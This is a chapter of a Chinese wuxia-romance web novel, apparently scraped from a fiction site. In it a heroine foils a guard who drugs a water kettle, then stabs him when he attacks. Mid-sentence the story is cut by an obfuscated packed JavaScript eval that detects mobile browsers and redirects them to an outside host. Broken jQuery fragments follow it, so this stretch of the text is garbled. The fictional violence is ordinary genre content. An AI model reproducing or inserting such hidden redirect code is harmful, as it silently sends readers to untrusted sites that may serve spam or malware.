22. 刀见血

魏锦溪半蹲在树后,将柯飞的动作看的是清清楚楚明明白白。


自打经过德州贼船那件事后,她看见粉末状的东西心里就犯怵,生动演绎了什么叫做一朝被蛇咬十年怕井绳。而且刚刚柯飞的动作实在是鬼鬼祟祟,她下意识得觉得他不是好人。


魏锦溪蹑手蹑脚的后退了几步,抱着手里的柴火往马车那边跑。她不放心,必须要把看到的事情告诉江乘风!


“江乘风!”很快,魏锦溪跑出了树林,此刻江乘风已经将火堆点了起来。她喘了两口气,刚要说话,便听见身后传来脚步声。


江乘风看向她的身后,说了句:“柯镖头回来了?”


魏锦溪诧异的回过头去,到嘴边的话急忙咽了下去,结果被口水呛到咳个不停。好不容易止了咳,脸却被憋的通红。


江乘风问:“你刚刚想说什么?”


魏锦溪自然不能当着柯飞的面说实话,将怀里的枯树枝放到火堆旁,尴尬的笑了下:“没什么,我就是想跟你显摆一下收集了很多木柴。”


江乘风闻言笑了笑,轻声道:“是捡了很多。”


这时柯飞搭好了支架,将水壶吊在火堆上,笑着说道:“等水开了就能喝了。黄夫人给带的食物都凉了,有热水更好下咽。”


这话要是一般人听了肯定会觉得他妥帖。但在魏锦溪眼里这就纯粹是黄鼠狼给鸡拜年没安好心。她不禁心里焦急,这怎么才能跟江乘风说呢?


过了一会,魏锦溪突然站了起来,在两个人的注视下沉声说道:“地上又脏又凉,我去马车上眯一会。”说罢向后面马车上走去,到了马车跟前突然回过头来,冲江乘风一笑,“江乘风,你过来,我有话跟你说。”


江乘风有些疑惑但还是跟来过来。


到了马车上,魏锦溪突然变了脸色,小声道:“我跟你说,那个柯飞不安好心,刚刚我看见......”


话还没说完就听见马车外面的脚步声由远及近。


魏锦溪咬了咬牙,猫着腰站了起来直接坐到了江乘风的腿上,有样学样嗲声嗲气的抱怨:“你都不知道,刚刚我去捡柴火,手都被磨疼了。”


见江乘风愣神,在他的肋间狠狠地掐了一下。


“大少爷,水烧好了。”外面传来柯飞的声音。


江乘风这才缓过神来,沉声道:“好,我知道了。”他知道魏锦溪这么做肯定有道理,装模作样的演戏道:“手有没有受伤,来,我瞧瞧。”


柯飞在马车外面将两个人的对话听得清清楚楚,心想这江家的大少爷和那个村姑果然有猫腻。不过他倒底小心,骤然的将遮挡视线的帘子掀了一角,余光中果然看到两个人正衣衫不整的抱在一块,心中嗤笑不已。呵,还真是对野鸳鸯。


魏锦溪哎呀的叫了一声,接着怒气冲冲的说:“不知道里面有人吗?怎么还掀帘子呢?!”话虽是这般说,心里却非常庆幸自己做戏做全套,没露出什么马脚。


柯飞赶忙将车帘合上,从帘下将水壶送了进去,“抱歉,实在是打扰了。水好了,请您两位先用。”


江乘风此时也觉出不对劲来,按道理柯飞应该不会这般无礼才对,便沉声道:“知道了,放那吧,我们一会就喝。没别的事的话,柯镖头先去火堆旁守着吧,别叫篝火熄了。”


“哎。”柯飞答应着,顿了顿又说:“晚间马车上冷,还是在火堆旁歇息比较好。”


魏锦溪听着脚步声慢慢远了,才从江乘风的腿上下来,凑在他耳边道:“他没安好心!”


江乘风便也低声问:“怎么?”


魏锦溪指着放在车板上的水壶,咬牙切齿道:“刚刚我去捡柴火,正看到他在溪边打水。他从怀里不知道拿的什么,撒了许多粉末进去。”


粉末?


江乘风想了下说道:“也许是明矾呢?野外的水不能直接引用,一般会撒入些许的明矾净水。”


是这样吗?魏锦溪咬了咬唇瓣,但还是说:“但我还是不放心,就是觉得他不像好人。这壶水还是不要喝了。”


那倒也是,总归是小心无大错。江乘风便点头答应了下来。


魏锦溪看他好似没放在心上,不由得急了,“你别忘了之前那个暗算你的镖师!”叫什么来着,对叫田术。“那也是你们镖局的,但对你下毒手也是他。可见你们镖局也不是铁板一块,不能不多留个心眼。”


提起田术,江乘风的眼眸顿时一沉,心里三分的警惕也变成了七分。魏锦溪的话说的确实没错,他到现在都不知道田术为什么要杀他。“既然如此,不如试探一下吧。”


魏锦溪疑惑的看过去,怎么试探?


江乘风起身,将那壶水拿了进来。


“哎?”魏锦溪不由得出声道。


江乘风将马车背人的那一面的窗户打开,往外泼了小半壶的水。魏锦溪看他没喝才又坐了回去。


“如果他真的心存不轨,那到了晚上应该会现原形。”他沉声说道,停顿了下又细细的叮嘱道:“晚上歇息的时候你记得躲远一点。”


魏锦溪从后腰拿出那把常用来防身的剪刀,重重的说:“放心吧,我肯定不会给你拖后腿。”


江乘风这才点了点头,接着低声道:“那我们下车?”


魏锦溪该说的话已经都说了自然没有什么异议。不过才起身突然想到了什么,抬腿踢了江乘风一脚,低声怒骂:“刚刚真是便宜你了!”


就为了提个醒,她还要出卖色相。要是她猜错了,呵呵,那乐子可就大了!


柯飞见两个人从马车上下来,不免露出一点腌臜的笑容,接过江乘风递过来的水壶掂了掂,嘴角的笑容更明显了些。


江乘风对他说道:“今晚轮流守夜吧。”


柯飞点头回答:“好,那我来值守上半夜,下半夜的时候我叫您。”


江乘风答应着,对魏锦溪道:“要跟我一起睡吗?”


魏锦溪没好气的轻哼了一声,看着跟嗔怒似的离他远了两步,找了棵背风的树靠着闭眼歇息。江乘风冲柯飞笑了笑,轻声嘀咕道:“姑娘家总归是脸面薄。”


柯飞心想,青天白日的那姑娘都坐人腿上了,而且方才看过去那马车可是晃的厉害,如果这都


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483488|170062||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


叫脸面薄,那天底下就没有厚脸皮的了。


江乘风也不管柯飞究竟怎么想的,坐在树下抱着自己那柄长刀闭上了眼睛。


不知不觉间时间已经快到了下半夜,四周静谧无声,偶尔火堆里的树木发出噼里啪啦的响声溅出火星。


柯飞的视线从江乘风和魏锦溪的身上来回扫视。他趁着打水的功夫往壶里放了不少蒙汗药,就是只喝上一口,不出一炷香的功夫人的手脚便会酸软无力,如案板上的鱼肉般任人宰割。不过为了保险起见,他还是多等了两个时辰。


现在正是到了该下手的时候!


“大少爷?”柯飞蹑手蹑脚的走到江乘风的面前,低声试探,良久不见回应。他想了下又弯腰推了江乘风一把,询问到:“大少爷,到时间了。”


江乘风眉头紧皱,缓缓睁开眼,刚想挪动却又重重的靠到了树干上。“可能晚间风吹露重,手脚略微酸软。我再歇一歇。”


柯飞见他这么说当即一笑,脸庞在篝火的映射下格外的阴狠。将腰间的长刀缓缓抽出,刀刃寒光四射。


江乘风不可置信的瞪大了双眼,拧着眉头沉声道:“你给我下药?柯镖头,我跟你无冤无仇,为什么要这么做!”


“大少爷,这可就怪不得我,要怪就怪有人想用大前程要你的命!”柯飞恶狠狠的说道。


江乘风问:“是谁,是谁想要我的命?总得让我做个明白鬼!”


柯飞啧啧的笑了两声,“正所谓日防夜防家贼难防啊。不过我心善,一定给你个痛快。”说罢拿着刀重重的朝江乘风捅了过去。


江乘风面色一变,抬起刀柄四两拨千斤的将柯飞的刀挑飞,接着踹向他的胸口。


柯飞十分诧异,“不可能,我放了蒙汗药!”接着反应了过来,“好啊,原来那壶水你们没喝。”


江乘风翻身站起,长刀出鞘,“说出实情,说不定还能饶你一命!”


“呵!”柯飞啐了一口,“爷爷我当了七八年的捕头,怎么会怕你这样的黄口小儿。事情既然败露,那就手底下见真章。”说罢就和江乘风打了起来。


两个人交手了数十招,打的有来有回。眼看不能立马取胜,柯飞当即一脚将火堆里的木头踹了过去。江乘风抬手便挡,但下一秒就见柯飞直冲冲的朝魏锦溪的方向而去。


“先拿你的姘头开刀。”他道。


这边魏锦溪从他们打起来就躲在了树后,看柯飞朝她跑来心都停了一瞬。柯飞跟抓小鸡仔一样的将人拎起来,但很快得意的笑容就是一顿,不可置信的抬头往下看,发现自己的腹部扎了一把剪刀。


魏锦溪刚刚用了十足十的力气,直到热腾腾的鲜血顺着剪刀流到了手腕上才哎呀的抽出来,腿顿时软了半截。


就在这个时候江乘风正好赶到,抬腿将柯飞踢飞了出去。柯飞恶狠狠的看了他们一眼,捂着伤口爬起来跑进了树林。黑夜下身影很快不见了。


魏锦溪瘫软在地上,手上全是带着铁锈的黏腻,战战兢兢的抬起头,语无伦次的说:“江乘风,我,我捅了人,我捅了人!”说着赶忙把剪刀扔了。